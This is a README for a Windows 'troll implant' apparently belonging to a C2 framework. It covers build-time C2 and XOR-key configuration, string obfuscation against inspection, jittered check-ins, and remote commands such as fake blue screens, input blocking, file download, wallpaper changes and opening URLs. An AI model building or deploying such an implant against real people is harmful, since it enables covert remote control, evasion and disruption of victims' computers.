altin/implants/midas/README.md

170 lines
10 KiB
Markdown

# Midas Agent
A Windows troll implant, hows images, pops message boxes, changes
the wallpaper and shakes the screen.
**Windows only.** The command surface is built on Win32 — moving another
application's window, warping the pointer, `BlockInput`, `PlaySoundW`. An
earlier revision had an X11 backend, but a Wayland compositor forbids most of
what this implant does to *other* applications, so the Linux build was largely
decorative. Building for any other target now fails with an explanation rather
than producing something that silently does nothing.
## Configuring
Set these in the environment at **compile** time. `option_env!` bakes them into
the binary, so the C2 URL and XOR key are not visible in the process
environment, and the values are XOR-encoded like every other string constant so
they do not appear in `strings` output either.
|Variable|Default|Purpose|
|---|---|---|
|`MIDAS_SERVER`|`http://127.0.0.1:3000/`|C2 base URL|
|`MIDAS_KEY`|`asdf`|XOR key; must be in the server's keys list|
|`MIDAS_REG_FAIL_LIMIT`|`10`|Registration attempts before giving up|
|`MIDAS_CHECKIN_SLEEP`|`10`|Seconds between check-ins|
|`MIDAS_CHECKIN_JITTER`|`5`|Jitter range in seconds, applied to the sleep|
|`MIDAS_LOG`|unset|Set to anything but `0` for stderr diagnostics|
## Compiling
```bash
# From Windows, for the usual target:
MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... \
cargo build --release --target x86_64-pc-windows-msvc
# Cross-compiling from Linux (needs a mingw-w64 linker):
MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... \
cargo build --release --target x86_64-pc-windows-gnu
```
## Commands
Every argument is required. Where behaviour is genuinely optional it is
expressed with a **sentinel**, listed in the description: the Web UI drops
blank inputs from the argument array, so an omitted argument silently shifts
every later one down a slot rather than falling back to a default.
|Command|Description|Arguments|
|---|---|---|
|`sysinfo`|Report OS, elevation, screen size and overlay state||
|`listoverlays`|List running overlays with their id and age||
|`stopall`|Close every running overlay and stop any playing sound||
|`kill`|Stop the implant||
|`getsleep`|Get the current sleep time and jitter||
|`setsleep`|Set the sleep time between check-ins|seconds: int, jitter: int|
|`fetchimage`|Download a file to the implant's cache and return its path|url: str, filename: str|
|`msgbox`|Show a message box|title: str, body: str, icon: str, sound: bool|
|`showimage`|Show an image over the desktop|path: str, mode: str, seconds: int, topmost: bool|
|`setwallpaper`|Set the desktop wallpaper|path: str|
|`getwallpaper`|Report the current wallpaper path so it can be restored||
|`shakescreen`|Shake a window back and forth|seconds: int, amplitude: int, interval: int, target: str|
|`fakebsod`|Fullscreen fake blue screen with a progress bar|stopcode: str, percent: int, seconds: int|
|`fakeupdate`|Fullscreen fake "working on updates" screen|title: str, percent: int, seconds: int|
|`faketoast`|Fake desktop notification|title: str, body: str, seconds: int|
|`titlechange`|Retitle the foreground window|title: str|
|`gettitle`|Report the foreground window's current title||
|`toggletaskbar`|Hide or show the taskbar|state: str|
|`scare`|Fullscreen image plus sound at once|image: str, sound: str, seconds: int|
|`spook`|Fullscreen animated static, matrix rain or scanlines|mode: str, seconds: int|
|`playsound`|Play a sound file|path: str, loop: bool|
|`volume`|Change the system playback volume|action: str, level: int|
|`cursor`|Hide, freeze or move the mouse pointer|action: str, seconds: int|
|`desktopnote`|Draw a large text note on the desktop|text: str, x: int, y: int, size: int|
|`fontsize`|Scale the system UI font|percent: int|
|`minimizeall`|Minimise or restore every window|state: str|
|`openurl`|Open a URL in the default browser|url: str, background: bool|
|`lockinput`|Block keyboard and mouse input; `0` holds until `stopall`|seconds: int|
## Sentinels
|Argument|Sentinel|Meaning|
|---|---|---|
|`showimage` / `spook` / `fakebsod` / `fakeupdate` `seconds`|`0`|Do not auto-close; stays until `stopall`|
|`scare` `sound`|`none`|Image only, no sound|
|`volume` `action`|`set`|Uses the `level` argument; other actions ignore it|
|`shakescreen` `target`|`foreground`|Foreground window; `all` for every top-level, `mouse` to shake only the window under the pointer|
|`minimizeall` / `toggletaskbar` `state`|`toggle`|Flip to the opposite of the current state. `minimizeall` moves every window one way together, rather than leaving a mix that neither `minimize` nor `restore` could describe afterwards|
|`cursor` `seconds`|capped at 60|Ignores anything longer|
|`lockinput` `seconds`|`0`|Do not time out; holds until `stopall`. Any interruption needs `stopall` - `sysinfo` reports an active hold as `input lock: active for …s`|
|`shakescreen` `seconds`|capped at 30||
## Platform notes
- **Overlays have two backends.** `eframe` is tried first and needs a working
OpenGL 3.2+ context; where that is unavailable — a VM with 3D acceleration off,
an RDP session, which offers only OpenGL 1.1 — eframe fails during context
creation, before its first frame, and does so with a panic from inside glutin.
Midas then falls back to a GDI backend that needs no graphics driver at all,
and remembers the choice so the dead one is not retried on every command. The
fallback also covers a backend that survives startup but dies on its first
command: the send itself is the liveness test, so a dead backend is retired at
the point it would have failed a command and the same command goes out again
on the other one. `sysinfo` reports which is live as
`overlay host: running (eframe|gdi)`, along with the real reason if neither
came up.
- **Panics are reportable, not just stderr noise.** The default hook names only
the thread — always one of Midas' own — so every distinct failure printed the
same line. The implant installs its own hook that keeps the last few panics
and `sysinfo` reports them as `panic: <file>:<line>:<message>`. On a target
nobody is sitting at, a stderr line is nowhere to look; this is how the reason
a backend died reaches the operator.
- **The GDI backend is a transcription, not a port.** Same layouts, same colours,
same system font, drawn by hand into a DIB and composited by the window manager
through `UpdateLayeredWindow`. What is lost: rounded corners, subpixel layout,
and the GPU. What is kept: all seven overlays work, including animated
`spook`, and the notification and desktop note are still click-through
everywhere they are transparent, because a layered window is hit-tested
against its own alpha.
- **Text is the one thing GDI is used for.** Everything else is a hand-rolled
rasteriser, because GDI cannot write a meaningful alpha channel into a 32-bit
DIB. Text is rendered over a sentinel colour and the distance from it is
recovered as per-pixel coverage, so antialiasing survives the round trip.
Grayscale antialiasing is requested rather than ClearType, since ClearType's
subpixel colours would defeat both that and the compositing.
- **The overlay host restarts.** It is started lazily by the first visual
command and re-created if the backend dies, so a transient failure does not
disable overlays for the rest of the implant's life.
- **`lockinput`** uses `BlockInput`, which requires an elevated process. An
unelevated implant reports the refusal in its own log rather than pretending
to have locked anything. `sysinfo` reports the elevation state so this is
predictable up front. `0` holds until `stopall`, and `sysinfo` reports an
active hold as `input lock: active for …s`.
- **No interactive desktop** — a service, a scheduled task, or session 0 — means
every window command fails. `sysinfo` reports `desktop: false` in that case.
- **`fontsize`** writes `HKCU\Control Panel\Desktop\LogPixels` and broadcasts
`WM_SETTINGCHANGE`, so it takes effect for new windows only.
- **`setwallpaper` / `getwallpaper`** go through `SystemParametersInfoW` with
`SPI_SETDESKWALLPAPER`.
- **Overlays** are drawn rather than borrowed from native controls, because they
have to be faked from scratch anyway — the BSOD, the update screen, the
animated static. `msgbox` is the one exception and uses a real `MessageBoxW`,
so it gets the genuine system styling.
## Design notes
- **One GUI thread, many viewports — under eframe.** winit permits one
`EventLoop` per process, so "a thread per overlay" cannot work. A single
long-lived thread owns the one event loop and each overlay is an egui
*viewport* within it.
- **A thread and a window per overlay — under GDI.** That shape is illegal for
eframe and is exactly why the fallback is not a second egui app: it uses
ordinary top-level windows with ordinary message loops, so the one-event-loop
constraint does not apply.
- **Every command acks immediately.** The Web UI abandons a task after 90
seconds (`TASK_TIMEOUT_MS` in `webui/assets/js/agents.js`). Tombili runs
commands inline on its check-in loop, so a 30-second shake there would stall
check-ins and be reported as a timeout even though it worked. Midas hands
work to the GUI thread or a worker thread and returns a status line
immediately.
- **Blocking calls go on worker threads.** `MessageBoxW` is modal, a key press
grab has to hold, `lockinput` has to be undone after a delay or a `stopall`.
All of them run through `gui::detach`, so a `lockinput` — timed or
continuous — does not hold up the check-in loop.
- **`stopall` is immediate.** It bumps an epoch, releases any input hold, sets
cancel tokens; overlays check a deadline on their own thread, and `PlaySoundW`
is ended by re-issuing it with a null sound, which is the only way to stop it.
- **`stopall` does not undo everything.** Wallpaper, title, taskbar, font scale
and volume are deliberately left changed — that is the joke. `getwallpaper`
and `gettitle` exist so the original state can be read back afterwards. The
one thing it must undo is input: a continuous `lockinput` has no other way
off, so unblocking it is part of the same cleanup.
- **Win32 is declared by hand**, not through the `windows` crate. The
declarations are plain `extern "system"`, which keeps the dependency list and
the binary small and links identically under the MSVC and GNU targets.